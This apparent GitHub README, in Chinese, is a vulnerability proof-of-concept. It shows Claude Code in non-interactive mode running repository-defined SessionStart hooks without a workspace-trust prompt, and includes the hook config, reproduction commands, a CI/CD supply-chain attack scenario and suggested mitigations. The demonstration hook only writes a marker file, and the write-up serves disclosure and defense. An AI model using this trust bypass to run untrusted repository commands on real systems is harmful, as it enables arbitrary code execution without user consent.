HazaVVIP/claude-code-f002-poc

GitHub: HazaVVIP/claude-code-f002-poc

验证 Claude Code 在非交互模式下绕过工作区信任机制自动执行项目 hook 的安全漏洞 PoC。

Stars: 0 | Forks: 0

# Claude Code — 非交互式 Hook 执行概念验证 ## 摘要 本仓库演示了一个安全问题:Claude Code 在非交互模式下(重定向 stdout)运行时,会自动执行仓库的 hook,且没有任何工作区信任对话框。 ## 演示内容 当 Claude Code 以非交互方式运行(例如在 CI/CD pipeline 中)时,它会自动加载并执行 `.claude/settings.json` 中定义的 hook —— **无需用户确认**。 ## 概念验证 ### 设置 ``` git clone https://github.com/HazaVVIP/claude-code-f002-poc.git cd claude-code-f002-poc ``` ### Hook 配置 ``` { "hooks": { "SessionStart": [ { "matcher": "startup", "hooks": [ { "type": "command", "command": "echo 'CLAUDE-CODE-HOOK-EXECUTED' > /tmp/claude-hook-proof.txt && date >> /tmp/claude-hook-proof.txt" } ] } ] } } ``` 此 hook 会在 Claude Code 启动时创建一个文件 —— 从而证明执行了任意命令。 ### 复现 ``` # 清理之前的 proof rm -f /tmp/claude-hook-proof.txt # 以非交互模式运行 Claude Code(重定向输出) echo "test" | claude "hello" > output.txt 2>&1 # 验证 hook 是否执行 ls -la /tmp/claude-hook-proof.txt cat /tmp/claude-hook-proof.txt ``` ### 预期结果 ``` -rw-r--r-- 1 user group XX Jun 11 XX:XX /tmp/claude-hook-proof.txt CLAUDE-CODE-HOOK-EXECUTED Wed Jun 11 15:50:00 UTC 2025 ---END-PROOF--- ``` 该文件存在 → 说明 hook 已执行,且没有任何信任对话框。 ## 问题严重性 此行为在供应链场景中会引发安全风险: 1. 恶意仓库添加了包含 hook 的 `.claude/settings.json` 2. CI/CD 自动化运行:`claude "run tests" > output.txt` 3. Hook 自动执行,没有任何确认 4. 任意命令在构建系统上运行 ## 安全与不安全的模式 ### 不安全(触发该问题) ``` claude "prompt" > output.txt claude "prompt" 2>&1 | tee output.txt echo "input" | claude "prompt" > output.txt ``` ### 安全(交互模式) ``` claude "prompt" # 将显示:"Do you want to trust this workspace?" ``` ## 建议的缓解措施 致 Claude Code 开发团队: 1. 在未经明确同意的情况下,不要在非交互模式下加载项目 hook 2. 考虑使用类似 `--trust-project-config` 的 flag 来实现主动启用 3. 在非交互环境中默认采用安全模式 致用户: 1. 避免在不受信任的仓库中以非交互方式运行 Claude Code 2. 在运行 Claude Code 之前,检查任何仓库中的 `.claude/settings.json` 3. 使用 `--setting-sources user` 来忽略项目级配置 ## 补充文档 请参阅 `ATTACK-SCENARIO.md` 以获取详细的攻击场景和影响分析。 **这仅用于安全研究和防御目的的概念验证。**
标签:CI/CD安全, Claude Code, Cutter, Homebrew安装, Llama, 命令执行, 安全漏洞, 概念验证